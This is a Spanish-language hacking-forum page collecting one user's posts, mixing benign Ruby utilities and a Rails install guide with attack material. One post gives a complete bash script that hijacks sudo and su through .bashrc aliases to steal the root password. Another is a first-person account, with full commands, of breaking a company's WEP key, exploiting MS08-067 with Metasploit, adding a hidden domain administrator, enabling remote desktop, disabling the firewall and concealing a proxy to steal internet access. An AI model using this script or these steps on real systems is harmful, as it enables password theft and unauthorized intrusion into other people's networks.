Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - B3N

#21
Ruby / Re:[Ruby] LocateIP 0.3
Junio 27, 2015, 01:13:41 AM
Aqui esta la salida:
Código: php
b3n@genesis:~$ ruby ip-locator.rb www.google.com


-- == LocateIP 0.3 == --


[+] Getting IP ...

[+] IP : 74.125.198.105

[+] Locating ...

[+] City : Mountain View
[+] Country : United States
[+] State or Region : California

[+] Getting DNS ...

[+] DNS Found : og-in-f105.1e100.net[+] DNS Found : 74.125.198.105[+] DNS Found : 74.125.198.105

-- == (C) Doddy Hackman 2015 == --

b3n@genesis:~$


Buen aporte
#22
Hacking / Re:Listado de Camaras IP disponibles
Junio 26, 2015, 11:07:44 AM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
ya esto es conocido, se buscan por medio de dorks, si no estoy mal aqui postearon un post sobre este tema ,, pero gracias por el post
Antes de publicar el tema estuve buscando por el foro pero no encontre nada de esto, por eso decidi compartirlo. Si, yo se como funciona, pero no tengo algo practico para buscar camaras, en estos momentos estoy trabajando en un proyecto al respecto. Slds
#23
Hacking / Listado de Camaras IP disponibles
Junio 25, 2015, 10:56:07 PM
Bueno todavia no es una lista, tengo dos por el momento, pero a medida que vaya obteniendo mas voy editando el post y las voy poniendo.

Sony Cam Burgas BG Beach
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Axis PTZ-Cam Burgas BG City
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#24
Yo uso Avast Anti-Theft, te ofrece muchas opciones, puedes controlar completamente tu telefono a distancia con comandos SMS: bloquear el telefono, activar microfono, tirarle fotos con la camara delantera al que se lo robo, hacer llamadas desde tu telefono robado hacia otro tuyo y poner en altavoz el robado para que el que lo tiene te escuche y asi reclamar tu telefono, borrar los datos, etc. Claro que si un hacker te logra robar la cuenta de Avast estas frito. No obstante Avast se caraceriza por la seriedad en sus servicios y la seguridad, asi que me imagino que estas cosas no sucedan frecuentemente.
#25
Gracias por la edicion 01010111 01101000 01101001 01011010, no sabia lo de 'code=lenguaje_de_programacion'

Slds
#26
Ruby / Cliente FTP
Junio 25, 2015, 09:29:48 PM
Funciona igual que los clientes ftp de la linea de comandos de cualquier sistema operativo, aunque es mas informativo, esto es un proyecto no terminado, aunque funciona perfectamente la idea no era hacer un simple cliente ftp mas, se puede utilizar como base para hacer un fuzzer, un troyano, un backdoor, etc. Yo estoy trabajando en ello, pero lo comparto con uds por si pueden sacar algo distinto, ademas por su valor didactico.


Código: ruby
#!/usr/bin/env ruby
#
# Copyrigth (C) 2014-2015 - B3N
# Description: ftp client
# Version: 1.0
#

require 'net/ftp'
require 'socket'

def welcome
puts @ftp.welcome
s = TCPSocket.open(@host, 21)
puts s.gets
s.close
puts @ftp.system
if @ftp.passive == true
puts "PASSIVE MODE: on"
else
puts "PASSIVE MODE: off"
end
puts @ftp.status

end

def exit
puts "Goodbye!"
end

def debugon
@ftp.debug_mode = true
end

def debugoff
@ftp.debug_mode = false
end

def help
puts "help\t clear ls status system"
puts "pwd cd size size_h get send"
puts "gettext sendtext last debug[on/off]"
puts "mkdir rmdir delete rename passive"
end

def clear
system "clear"
end

def ls
dir_lst = @shell.split(/\s/)
puts @ftp.list(dir_lst[1])
end

def status
puts @ftp.status
end

def passive
puts @ftp.passive
end

def pwd
puts @ftp.pwd
end

def ftpsystem
puts @ftp.system
end

def cd
begin
folder_name = @shell.split(/\s/)
@ftp.chdir(folder_name[1])
rescue
puts "cannot change to \'#{folder_name[1]}\'."
end

end

def size
begin
s_name = @shell.split(/\s/)
puts @ftp.size(s_name[1])
rescue
puts "incorrect file \'#{s_name[1]}\'."
end
end

def size_h
begin
sh_name = @shell.split(/\s/)
result = @ftp.size(s_name[1]) / 1024
print result.to_f
puts " Kb"
rescue
puts "incorrect file \'#{sh_name[1]}\'."
end
end

def get
begin
b_name = @shell.split(/\s/)
@ftp.getbinaryfile(b_name[1], b_name[1], 1024)
rescue
puts "cannot get \'#{b_name[1]}\'."
end
end

def send
begin
lbin_name = @shell.split(/\s/)
@ftp.putbinaryfile(lbin_name[1], lbin_name[1], 1024)
rescue
puts "cannot send \'#{lbin_name[1]}\'."
end
end

def gettext
begin
t_name = @shell.split(/\s/)
@ftp.gettextfile(t_name[1])
rescue
puts "cannot get \'#{t_name[1]}\'."
end
end

def sendtext
begin
lt_name = @shell.split(/\s/)
@ftp.puttextfile(lt_name[1], lt_name[1])
rescue
puts "cannot send \'#{lt_name[1]}\'."
end
end

def delete
begin
d_name = @shell.split(/\s/)
@ftp.delete(d_name[1])
rescue
puts "cannot delete \'#{d_name[1]}\'."
end
end

def mkdir
begin
dir_name = @shell.split(/\s/)
@ftp.mkdir(dir_name[1])
rescue
puts "cannot create directory \'#{dir_name[1]}\'."
end
end

def rmdir
begin
rd_name = @shell.split(/\s/)
@ftp.rmdir(rd_name[1])
rescue
puts "cannot remove directory \'#{rd_name[1]}\'."
end
end

def rename
begin
re_name = @shell.split(/\s/)
@ftp.rename(re_name[1], re_name[2])
rescue
puts "cannot rename \'#{re_name[1]}\'."
end
end

def last
puts @ftp.lastresp
end

def bash
while TRUE
print "local@bash> "
STDOUT.flush
bash = STDIN.gets
break if not bash
bash.chop!
if bash == "exit"
break
elsif bash == ""
else
system "#{bash};"
end
end
end

def lls
Dir["*"].each do |cont|
puts cont
end
end

def lcp
begin
file = @shell.split(/\s/)
FileUtils.cp file[1], file[2]
rescue
puts "cannot copy \'#{file[1]}\' to \'#{file[2]}\'."
end
end

def default
puts "Invalid command: #{@shell}"
end

host = ARGV[0]
@host = host
print "Host: " unless ARGV[0]
host = STDIN.gets unless ARGV[0]
host.chop! unless ARGV[0]

username = ARGV[1]
@username = username
print "User: " unless ARGV[1]
username = STDIN.gets unless ARGV[1]
username.chop! unless ARGV[1]

password = ARGV[2]
@password = password
print "Password: " unless ARGV[2]
password = STDIN.gets unless ARGV[2]
password.chop! unless ARGV[2]

#if host == 'localhost' || host == '127.0.0.1' || host =~ /192.168/
Net::FTP.open(host) do |ftp|
@ftp = ftp
        ftp.login(user=username.to_s, passwd=password.to_s, acct=nil)
welcome()

while TRUE
        print "ftp> "
        STDOUT.flush
        shell = STDIN.gets
        break if not shell
        shell.chop!
@shell = shell

if shell == ""
elsif shell == "exit" then exit ;break
elsif shell == "debug on" then debugon
elsif shell == "debug off" then debugoff
elsif shell == "help" then help
elsif shell == "clear" then clear
elsif shell == "status" then status
elsif shell == "passive" then passive
elsif shell == "pwd" then pwd
elsif shell == "system" then ftpsystem
elsif shell == "last" then last
elsif shell == "bash" then bash
elsif shell == "lls" then lls
elsif shell.split(/\s/)[0] == "ls" then ls
elsif shell.split(/\s/)[0] == "cd" then cd
elsif shell.split(/\s/)[0] == "size" then size
elsif shell.split(/\s/)[0] == "size_h" then size_h
elsif shell.split(/\s/)[0] == "get" then get
elsif shell.split(/\s/)[0] == "send" then send
elsif shell.split(/\s/)[0] == "gettext" then gettext
elsif shell.split(/\s/)[0] == "sendtext" then sendtext
elsif shell.split(/\s/)[0] == "delete" then delete
elsif shell.split(/\s/)[0] == "mkdir" then mkdir
elsif shell.split(/\s/)[0] == "rmdir" then rmdir
elsif shell.split(/\s/)[0] == "rename" then rename
elsif shell.split(/\s/)[0] == "lcp" then lcp
        else default
        end
end
end
#else
# puts "[-] Incorrect host"
#end
#27
Debates, Reviews y Opiniones / Re:¿Que SO usas?
Junio 23, 2015, 02:03:16 AM
Linux como plataforma de pentesting, Mac y Windows como victimas y Android en mi smartphone
#28
Este fue uno de mis primeros frutos en bash. Aqui les va

Código: bash
#!/bin/bash
#
##############################################################################
#
# Nombre: sskeylogger
# Autor: B3N
#
# Descripcion: Falsifica los comandos sudo y su haciendose pasar por
#        los mismos con el fin de obtener el password del root.
#        Una vez obtenido el password es guardado en un log
#        llamado: .plog en el home del usuario.
#
#
# Explicacion del modo de operacion:
# (1) Se crea una copia del archivo .bashrc llamada .bashrcbk.
# (2) Se crean dos alias en el .bashrc original de los commandos
#     <sudo> y <su> que llaman a nuestro programa en caso de ser
#     invocado cualquiera de los dos.
# (3) Se crearan dos scripts que simulan los comandos <sudo> y <su>
#     y capturan el password del root guardandolo en el archivo
#     .plog en el home del usuario. Estos archivos se encuentran
#     en el home del usuario con los nombres: ".sudo_su" y ".sudo_sd".
# (4) Se restaura el .bashrc original desde la copia .bashrcbk.
# (5) Se borran los archivos creados.
# (6) Se ejecuta <bash> cargando el .bashrc original para no
#     tener que reiniciar el terminal en ese momento.
#
# Modo de empleo:
# (1) Ejecutar el programa desde un terminal: <sh sskeylogger.sh> (o el nombre
#     que le quieras poner), o darle permisos de ejecucion y ejecutarlo
#     desde el navegador de archivos.
# (2) Cerrar el terminal.
# (3) Esperar a que sea ejecutado el comando <sudo> o <su>.
# (4) Leer el log generado, puede ser con el siguiente comando:
#     <cat $HOME/.plog>
#
# Nota aclaratoria: En sistemas en otros idiomas deben modificarse las salidas estandar y de error
#
##############################################################################

# Backup del .bashrc
cp $HOME/.bashrc $HOME/.bashrcbk;

# Suplantacion de <su>
echo "alias su='$HOME/.sudo_su'" >> $HOME/.bashrc;
echo "#!/bin/bash"> $HOME/.sudo_su;
echo "mv $HOME/.bashrcbk $HOME/.bashrc" >> $HOME/.sudo_su;
echo "stty -echo" >> $HOME/.sudo_su;
echo "read -p \"Password: \" IN" >> $HOME/.sudo_su;
echo "stty echo" >> $HOME/.sudo_su;
echo "echo" >> $HOME/.sudo_su;
echo "date >> $HOME/.plog" >> $HOME/.sudo_su;
echo "echo Password: \$IN >> $HOME/.plog" >> $HOME/.sudo_su;
echo "sleep 2" >> $HOME/.sudo_su;
echo "echo \"su: Authentication failure\"" >> $HOME/.sudo_su;
echo "rm \$HOME/.sudo_sd" >> $HOME/.sudo_su;
echo "rm \`basename \$0\`" >> $HOME/.sudo_su;
echo "bash --rcfile .bashrc" >> $HOME/.sudo_su;
chmod 755 $HOME/.sudo_su;

# Suplantacion de <sudo>
echo "alias sudo='$HOME/.sudo_sd'" >> $HOME/.bashrc;
echo "#!/bin/bash"> $HOME/.sudo_sd;
echo "mv $HOME/.bashrcbk $HOME/.bashrc" >> $HOME/.sudo_sd;
echo "stty -echo" >> $HOME/.sudo_sd;
echo "read -p \"[sudo] password for `id -un`: \" IN" >> $HOME/.sudo_sd;
echo "stty echo" >> $HOME/.sudo_sd;
echo "echo" >> $HOME/.sudo_sd;
echo "date >> $HOME/.plog" >> $HOME/.sudo_sd;
echo "echo Password: \$IN >> $HOME/.plog" >> $HOME/.sudo_sd;
echo "sleep 2" >> $HOME/.sudo_sd;
echo "echo \"Sorry, try again.\"" >> $HOME/.sudo_sd;
echo "rm \`basename \$0\`" >> $HOME/.sudo_sd;
echo "rm \$HOME/.sudo_su" >> $HOME/.sudo_sd;
echo "sudo -k;" >> $HOME/.sudo_sd;
echo "sudo \$*; bash --rcfile .bashrc" >> $HOME/.sudo_sd;
chmod 755 $HOME/.sudo_sd;
#29

Kali Linux es una distribución pensada para profesionales de la seguridad informática, pentesters, forenses, etc, no esta hecha para lamers. Algunas personas sostienen que Kali es para lamers ya que contiene muchas herramientas preinstaladas y como todos sabemos un lamer es aquella persona que se beneficia del trabajo de los demas sin aportar nada suyo. Sin embargo, el hecho de que los lamers se aprovechen de Kali para sus fechorías no quiere decir que Kali Linux sea una distro para lamers. Kali es usada por profesionales de todo el mundo, por grandes empresas de seguridad informática e incluso por el FBI.

Es malo utilizar un programa hecho por otra persona? Si yo uso un programa hecho por otra persona soy un lamer por eso? Claro que no. Todos usamos programas hechos por otros a diario, incluso el sistema operativo que estas usando ahora mismo no es hecho por ti sino por otros, tal vez entre ellos tu, pero ni Linus B. Torvalds puede decir que su sistema operativo es hecho completamente por él, el solo hace su parte, da su aporte, y esta precisamente es la diferencia entre un lamer y un hacker; un hacker es una persona con grandes conocimientos de informatica en general y con gran creatividad, una persona que puede y sabe como beneficiarse del trabajo hecho por los demas para lograr mas eficiencia en el suyo, pero siempre aportando su parte, sus ideas.

Los lamers no entienden nada de lo que hacen, no entienden el funcionamiento interno de los programas ni mucho menos saben nada de programacion, solo saben que tienen que dar click aquí y allá y que el programa haga lo suyo, ademas de que carecen de etica, no tienen objetivos, solo víctimas a las que hacen dano indiscriminadamente sin importarles nada y sin motivo alguno.

Cuando se habla de Kali se esta hablando de rendimiento en nuestro trabajo, de ser prácticos y efectivos. Por supuesto que en ningún momento quiero decir que Kali sea la única plataforma eficiente para pentesting. Tu puedes crear tu propia plataforma de pentesting de acuerdo a tus necesidades, por ejemplo, si tu campo es la informática forense pues no necesitas todo lo que Kali trae, entonces puedes tener tu propia distro personalizada con las herramientas que utilizas y con tu propia configuración, pero cuando nuestro campo es mas amplio la cosa se va complicando, para los que somos mas generales las cosas no son tan fáciles.

Hace un tiempo estuve utilizando Fedora como mi plataforma principal de trabajo (seguridad informática, cracking, pentesting, informática forense, programación, etc), tuve que recompilar el kernel, tuve que instalar cantidad de herramientas a mano (descargarlas, compilarlas, etc) ya que casi todas vienen en código fuente y no están en los repositorios oficiales ni de terceros de Fedora, CentOS, ni Red Hat, pase mucho tiempo haciendo mis configuraciones, etc etc, al final no vi mucho el fruto ya que cuando había terminado todo entonces debía ocuparme de las actualizaciones, y en el mundo del hacking estar actualizado no es una opción sino una necesidad, pero para mi actualizarlo todo equivalía a hacer todo el trabajo nuevamente desde cero practicamente.

Luego tuve la necesidad de tener mi sistema en una memoria portable para bootearlo ante cualquier situacion, esto era mas trabajo anadido y muy poca documentación al respecto. Bueno, desistí de Fedora y trate de hacer lo mismo con Debian, pensando que Debian tiene mayor soporte de paquetes y que las actualizaciones son automáticas y no hay que estar compilando casi nada, pero al final es lo mismo, aunque un poco menos de trabajo pero es lo mismo.

Finalmente decidí no pasar mas trabajo e instale Kali. Kali trae un kernel parcheado para operaciones wireless, trae instaladas casi todas las herramientas que necesito para realizar mi trabajo de forma general y lo mejor es que se actualiza automáticamente, me ofrece una plataforma bastante funcional y estable, basada en Debian (sistema con el cual crecí en el mundo de Linux), así que para mi es perfecto, por supuesto que incluso a Kali tengo que configurarlo a mis necesidades, añadir mis programas, etc, pero el trabajo es menos. Para mi Kali Linux equivale a rendimiento, a facilidad y a ser práctico. A todos nos gusta que nos faciliten la vida, por eso usamos distros de Linux y no nos compilamos un LFS.

Por supuesto, usamos nuestras distros como plataforma de trabajo, como algo de lo cual partir para poner a funcionar nuestra creatividad. Pudiera poner un ejemplo práctico con Metasploit, tu puedes ser un gran programador de exploits pero puedes también auxiliarte del framework de Metasploit para hacer tus exploits mas eficientes e integrarlos con payloads y otras herramientas, esto no quiere decir que eres un lamer.

Mantenemos siempre nuestra creatividad pero podemos apoyarnos en los hombros de los demás. De hecho esto es algo que caracteriza a un hacker: ser comunitario. Un hacker no es una persona solitaria, aunque sea introvertida o se pase el día completo encerrado en su cuarto, es una persona que se integra muy bien con comunidades de personas con el mismo pensamiento y se nutre también del conocimiento de los demás, y es por eso que estamos aquí.

#30
Presentaciones y cumpleaños / Re:[B3N] Me presento
Junio 21, 2015, 01:18:44 PM
Gracias a todos por su acogida, realmente me siento muy bien en el sitio, veo mucha actividad y progreso, admiro el gran trabajo que han hecho aqui, asi que me sumo a la comunidad y espero poder aportar tambien mi parte. Todo sea por el conocimiento.

Nos leemos ;)
#31
Ruby / Re:Guia de como instalar Rails en Kali
Junio 21, 2015, 01:13:06 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Pero lo que haces en tu post es crear un virtual enviroment :P  para que no afecte a la versión de la distro, entonces si ando en un Cyborg no funcionará?? x'D.


Regards,
Snifer
Al ejecutar rbenv global 2.2.2 estamos sustituyendo la version anterior por esta de forma global, para este usuario. Por supuesto que root sigue con la version origninal por lo que habria que hacer lo mismo para root, pero yo no lo recomiendo.
#32
Ruby / Re:Guia de como instalar Rails en Kali
Junio 21, 2015, 12:19:29 AM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hola que tal, una critica constructiva deberias de cambiar el título del post por otro mas genérico ya que esta instalación es realizada en cualquier distro basada en Debian.
No es el mismo procedimiento en Kali que en otras distros basadas en Debian, por ejemplo en Kali hay que descargar e instalar directamente libv8 y nodejs, ademas Kali ya trae preinstalados varios paquetes que no son necesarios instalar pero en otras distro basadas en Debian si, otra particularidad muy importante a tener en cuenta es que Kali trae instalada una version de Ruby por defecto y si partes de aqui para instalar rails vas a tener muchos problemas. En esta guia trato mas bien de ser especifico con Kali.

CitarY una duda! hacer un apt-get install sin permisos de sudo?? como le hiciste eso!
xD
Regards,
Snifer
Cierto tienes razon, es que fui anotando los pasos a medida que iba ejecutando los comandos, y en ese momento estaba como root, enseguida lo edito. Gracias
#33
Ruby / Guia de como instalar Rails en Kali
Junio 20, 2015, 11:02:35 PM
Sabemos que Ruby actualmente tiene gran acogida por parte de la comunidad de hackers y grandes empresas dedicadas a la seguridad informatica. A veces creamos un programa para consola pero no quedamos muy conformes ya que quisieramos hacer las cosas un poco mas intuitivas, faciles y profesionales a la vez (por ponerles un ejemplo de lo que hablo menciono Metasploit, proyecto que comenzo con una interfaz de comandos completamente y luego evoluciono hacia su interfaz web la cual ellos llaman Proffesional, y esta claro que nos hace la vida mas facil, nos hace perder menos tiempo y nos evita un futuro tunel carpiano por escribir tanto), es aqui donde entran las interfaces graficas, y para ruby me parece que la mejor interfaz grafica es la interfaz web ya que puedes acceder a ella facilmente desde cualquier navegador. Cuando hablamos de desarrollo debemos siempre estar actualizados, por eso aqui les dejo como instalar la ultima version de ruby y ruby on rails en Kali.

A los usuarios de Kali recomiendo que creen una cuenta de usuario estandar para las tareas comunes que no requieran privilegios de root. Por esto en la guia veran siempre el simbolo $.

0. Instalar herramientas basicas y dependencias:
Código: php
	$ su -c 'apt-get install git libsqlite3-dev libcurl4-openssl-dev'
$ wget http://http.kali.org/pool/main/libv/libv8-3.14/libv8-3.14.5_3.14.5.8-8.1_i386.deb
$ wget http://http.kali.org/pool/main/n/nodejs/nodejs_0.10.29~dfsg-2_i386.deb
$ su -c 'dpkg -i libv8-3.14.5_3.14.5.8-8.1_i386.deb nodejs_0.10.29~dfsg-2_i386.deb'


1. Instalar rbenv en ~/.rbenv (rbenv es lo mas recomendable para gestionar las actualizaciones de ruby, ademas que nos permite instalar varias versiones a la vez y no afectan todo el sistema sino que se instala individualmente para cada usuario, hay otros gestores pero rbenv es el recomendado en el sitio oficial de rails, las ventajas de rbenv las pueden ver aqui No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
   
Código: php
$ git clone https://github.com/sstephenson/rbenv.git ~/.rbenv


2. Anadir ~/.rbenv/bin a la variable $PATH para acceder  a rbenv desde cualquier ubicacion:
   
Código: php
$ echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.bashrc


3. Anadir rbenv init a tu shell para activar el autocompletado:
   
Código: php
$ echo 'eval "$(rbenv init -)"' >> ~/.bashrc


4. Reiniciar shell para que los cambios hechos al PATH tengan efecto. Y verificar que rbenv fue
   instalado existosamente:
   
Código: php
$ type rbenv

   debe imprimir en la primera linea lo siguiente:
   
Código: php
rbenv is a function
...


5. Instalar ruby-build:
   
Código: php
$ git clone https://github.com/sstephenson/ruby-build.git ~/.rbenv/plugins/ruby-build


6. Instalar ruby:
   
Código: php
$ rbenv install -l
...
2.2.2
...
$ rbenv install 2.2.2 -k

   (-k es para conservar el codigo fuente de ruby. Esto ayudara a construir otras gems posteriormente.)

7. Establecer la version global a utilizar:
   
Código: php
$ rbenv global 2.2.2


   (esto se puede revertir ejecutando: rbenv global system)

8. Instalar rbenv-gem-rehash (para no tener que ejecutar 'rbenv rehash' cada vez que instalemos una gem):
   
Código: php
$ git clone https://github.com/sstephenson/rbenv-gem-rehash.git ~/.rbenv/plugins/rbenv-gem-rehash



9. Instalar rails:
   
Código: php
$ su -c 'gem install rails'


10. Probar que rails se haya instalado correctamente:
   
Código: php
$ rails new demo
$ cd demo
$ rails server


   ahora debemos ser capaces de acceder a la aplicacion desde el navegador por No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

#34
Ruby / Convertidor de string a binario y viceversa
Junio 20, 2015, 10:33:08 PM
Pueden sugerir arreglos. Espero les sea de utilidad.

Código: ruby
# Copyright (C) 2015 B3N <[email protected]>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2 as
# published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.

# Description: String to binary converter and viceversa
# Original name: bconverter.rb
# Version: 1.0

#!/usr/bin/env ruby

def help
puts
puts "Usage: #{__FILE__} -s \"String to convert to binary\""
puts "       #{__FILE__} -b \"00111011 00101001\""
end

if ARGV.empty? || ARGV.length != 2
puts help
elsif ARGV[0] == '-s'
ARGV[1].unpack("C*").each{|c| print "%08b " % c}
print "\n"
elsif ARGV[0] == '-b'
puts [ARGV[1].delete(' ')].pack("B*")
else
puts
puts "[-] incorrect option: #{ARGV[0]}"
help
puts
end
#35
En Cuba las personas comunes no tienen internet en sus casas, el internet solo lo tienen los bancos, las grandes empresas, los hospitales, etc, pero para una persona es imposible tener internet en su casa.
Todo comenzo cuando me compre una Wi-Fi y la puse en el techo de mi casa con una antena
casera. Enseguida inicie mi Linux (Backtrack 5 R3 en ese entonces) y me puse a escuchar para ver si veia algun AP (Access Point) cerca:

Código: php
root@bt:~# airmon-ng start wlan0
root@bt:~# airodump-ng mon0


Rapidamente comenzaron a aparecer varios APs, me conecte a varios que tenian filtro de MAC pero eran locales, de personas que los ponen para chatear entre ellos, jugar, etc, pero nada de internet.  Necesitaba uno de alguna empresa importante que tuviera algun server con internet permanente. Pues efectivamente, encontre uno, de hecho al que veia con mejor senal. No le habia querido entrar pues enves de filtro de MAC lo que tenia era una clave con cifrado WEP y yo estaba vago, era mas facil clonar la MAC de un cliente que ponerme a crackear un cifrado WEB, pero bueno ya era hora de ver si en esa red estaba lo que yo tanto buscaba. Pues voy a romper su cifrado (me dije):

Comenze a capturar paquetes desde los clientes conectados al AP:

Código: php
root@bt:~# airodump-ng mon0 --bssid 45:02:7F:BC:C4:87 -c 1 -w KEY

(la MAC es la del AP, -c indica el canal, es lo mismo que --channel, y -w equivale a --write y es para que guarde los paquetes capturados en un archivo .cap, en mi caso se llamaba KEY-01.cap)

Pero el numero de paquetes de datos era insignificante, eran muy pocos para romper un cifrado WEP, pues bien voy a generar bastante trafico para poder capturar mas paquetes de datos, me dije, para lo cual utilice el aireplay-ng con la opcion -3 para hacer peticiones ARP, -b para indicar la MAC del AP y -h para indicar la MAC de uno de los clientes que estaba conectado en ese momento con el fin de suplantar su identidad:

Código: php
root@bt:~# aireplay-ng -3 -b 45:02:7F:BC:C4:87 -h d8:8f:33:6b:fc:39 mon0


Enseguida comenzo a incremetarse el trafico y la captura de paquetes, y cuando tuve suficientes (creo que eran como 80 000, aunque se que con menos podia) procedi a crackear la clave con aircrack-ng:

Código: php
root@bt:~# aircrack-ng KEY-01.cap


...y no tardo nada en descifrar la clave. Pues bien era hora de conectarme para ver si la clave era la correcta, asi que procedi a conectarme:

Código: php
root@bt:~# iwconfig wlan0 essid "Victima" channel 1 key E56933ND4W
root@bt:~# iwconfig


y para mi sorpresa: Access Point: 45:02:7F:BC:C4:87
Ya estaba conectado, ahora necesitaba un IP dentro del rango:

Código: php
root@bt:~# dhclient wlan0


Pero no, esto no sirvio ya que no tenia un servidor DHCP, o sea que los IP eran estaticos. Pues bien me debia asignar un IP yo mismo, pero como podia saber el rango de IP?, necesitaba capturar algun IP de la red con algun sniffer, pues bien procedi a abrir el etherape y enseguida aparecieron los primeros IPs de tipo 192.168.100.1, etc.

Genial voy a dejar un rato mas el etherape para ver todos los IPs de la red, me dije, para (0) no asignarme niguno que ya exista para que no le salga un cartel de conflicto de IP en la red en Windows y (1) para estudiar el escenario y saber a donde dirigir el ataque.

Pues bien me asigne un IP estatico (ifconfig wlan0 192.168.100.251) y procedi a escanear toda la red para rectificar todos los maquinas que estaban conectadas ya que a veces el etherape no es tan preciso pues si no detecta actividad a veces no muestra alguna maquina:

Código: php

root@bt:~# nmap -sP 192.168.100.0-255


Salieron como 7, no habian muchas maquinas conectadas. Procedi pues a ver si encontraba un servidor con internet asi que me decidi por el 192.168.100.1 ya que era probable que fuera ese por ser el .1 ;) asi que le hice un escaneo de puertos:

Código: php
root@bt:~# nmap -v -A -T4 192.168.100.1


Pues para mi sorpresa tenia abierto muchos puertos comprometedores; 21, 25, 80, 139, 445, etc. Y para colmo era un Windows Server 2003. Asi que decidi ejecutarle un payload mediante un exploit ya que era la forma mas sencilla y elegante para acceder a la maquina:

Código: php

root@bt:~# msfconsole
msf > use exploit/windows/smb/ms08_067_netapi
msf  exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
msf  exploit(ms08_067_netapi) > set LHOST 192.168.100.251
msf  exploit(ms08_067_netapi) > set RHOST 192.168.100.1
msf  exploit(ms08_067_netapi) > exploit


Y una vez abierta mi session de meterpreter:

Código: php
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > screenshot


Vaya las cosas se hicieron mucho mas facil cuando vi en su escritorio un icono de coneccion a Internet que decia: "Acceso directo - ETECSA" y vi que tenia dos iconos de red conectada en la bandeja del sistema. Pero bueno necesitaba estar mas seguro asi que ejecute un shell y...:

Código: php

meterpreter > shell
Process 3500 created.
Channel 1 created.
Microsoft Windows [Versi�n 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32> ipconfig /all
...
Adaptador PPP ETECSA:

   Sufijo conexi�n espec�fica DNS:
   Descripci�n . . . . . . . . . : WAN (PPP/SLIP) Interface
   Direcci�n f�sica. . . . . . . : 02-45-21-12-00-00
   DHCP habilitado . . . . . . . : No
   Direcci�n IP. . . . . . . . . : xxx.xx.xxx.xxx
   M�scara de subred . . . . . . : 255.255.255.255
   Puerta de enlace predet.. . . : 0.0.0.0
   Servidores DNS. . . . . . . . : xxx.xx.xxx.x
                                   xxx.xx.xxx.x

C:\WINDOWS\system32> exit

meterpreter >


Ya sabia que era un server y que estaba conectado a internet a traves de un modem, asi que yo podia aprovechar eso y robarme, o sea tomar prestado, ese internet, en fin lo que por derecho creo que me pertenece. Asi que lo que hice fue sencillo, le instale un servidor proxy para salir a traves de el. Buscando en un DVD de programas me encontre con el ProxyPlus, un server proxy muy sencillo, solo para 3 usuarios, se administra completamente via web y se instala como un servicio en Windows, tampoco sale en menu inicio, pero para instalarlo es mediante interfaz grafica, que  podia hacer, pues no tenia otra opcion. Pues me cree un usuario con privilegios de administracion y habilite RDP (Escritorio Remoto). Si, el hash del Administrador tambien lo obtuve y descifre su password pero no podia iniciar session con el mismo usuario que el asi que tenia que crearme mi propio usuario, menos mal que Windows Server 2003 permite dos sessiones simultaneas de Escritorio Remoto. Asi que procedi:

Código: php
meterpreter > shell
Process 4148 created.
Channel 2 created.
Microsoft Windows [Versi�n 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>net user
net user

Cuentas de usuario de \\

-------------------------------------------------------------------------------
Administrador       SUPPORT_893434f6         
       
C:\WINDOWS\system32> net user Administrator toor /add
net user Administrator toor /add
Se ha completado el comando correctamente.

C:\WINDOWS\system32> net group
net group

Cuentas de grupo de \\

-------------------------------------------------------------------------------
*Administradores de esquema
*Administradores de organizaci�n
*Admins. del dominio
*Controladores de dominio
*DnsUpdateProxy
*Equipos del dominio
*Invitados del dominio
*Propietarios del creador de directivas de grupo
*servermail
*usermail
*Usuarios del dominio

C:\WINDOWS\system32> net group "Administradores de esquema" Administrator /add
Se ha completado el comando correctamente.

C:\WINDOWS\system32> net group "Admins. del dominio" Administrator /add
Se ha completado el comando correctamente.

C:\WINDOWS\system32> reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
C:\WINDOWS\system32> reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f
C:\WINDOWS\system32> Netsh firewall set opmode disable
C:\WINDOWS\system32> exit

meterpreter >


...y en otro terminal:

Código: php
root@bt:~# rdesktop -f 192.168.100.1


...y ahi estaba en su escritorio. Luego de logearme con mi nuevo usuario debia ocultar la carpeta que crea el mismo en C:\Documents and Settings\Administrator, y asi lo hice:

Código: php
meterpreter > shell
Process 3500 created.
Channel 1 created.
Microsoft Windows [Versi�n 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\Documents and Settings> attrib +H +S Administrator
attrib +H +S Administrator

C:\Documents and Settings>


...luego procedi a instalar el proxyplus. Inicie mi servidor FTP (pure-ftpd) donde tenia el instalador y lo descarge desde la maquina de la victima a la carpeta C:\WINDOWS\TEMP por si acaso se me olvidava borrarlo que se borrara automaticamente al reiniciar el sistema. Elegi como carpteta de instalacion C:\WINDOWS\System32\ProxyPlus y de igual manera le asigne atributos de Hide y System:

Código: php
C:\WINDOWS\system32\ProxyPlus> attrib +H +S ProxyPlus
attrib +H +S ProxyPlus

C:\WINDOWS\system32\ProxyPlus>


...pero me faltaba algo mas, debia asegurarme de que no apareciera en Agragar/Quitar Programas del Panel de Control. Sencillo, bastaba con modificar la clave
HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall\Proxy+ y donde decia "DisplayName" borrar el valor.

